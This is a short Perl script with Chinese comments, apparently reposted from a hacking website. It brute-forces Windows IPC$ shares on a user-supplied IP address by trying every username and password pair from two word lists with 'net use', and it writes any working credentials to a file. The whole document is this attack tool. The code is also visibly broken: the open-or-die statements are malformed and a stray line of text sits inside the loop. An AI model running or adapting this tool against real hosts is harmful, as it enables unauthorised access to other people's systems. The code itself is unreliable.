#usr/bin/perl -w
print "请输入要猜解的IP:";
$host=<STDIN>;
chop($host);
$file1="NT_USER";
$file2="NT_PASS";
open(FILE,"user.txt")die "$file1文件是不是你搞丢了啊?自己重写一个吧\n" ;
while(@user=<FILE>){
foreach $name(@user){
chomp($name);
open(FILE,"pass.txt")die "$file2文件是不是你搞丢了啊?自己重写一个吧\n" ;
while(@pass=<FILE>){
foreach $password(@pass){
chop($password);
print ("正在尝试 Name=$namePass=$password"); #从这里往上不要我解释了吧
print "net use \\$host\ipc$ $password /user:$name";
$check=`"net use \\$host\ipc$ $password /user:$name"`; #调用perl函数,执行系统命令
if($check) { #判断连接是否成功
print "--------连接成功!!\n";
字串1
system ("net use \\$host\ipc$ /del"); #成功连接后就删除连接,并打开文件写入
open (H,">>ipcscan.txt")die "打不开ipcscan.txt\n";
print H "主机$host用户名:$name 密码:$password \n";
close H;
}
print "\n";
}
}
}
}
print "结果已写入ipcscan.txt文件请查看\n";
文章来源地址:http://www.hackhome.com/html/wlcl/wlaq/2006/0610/26444.html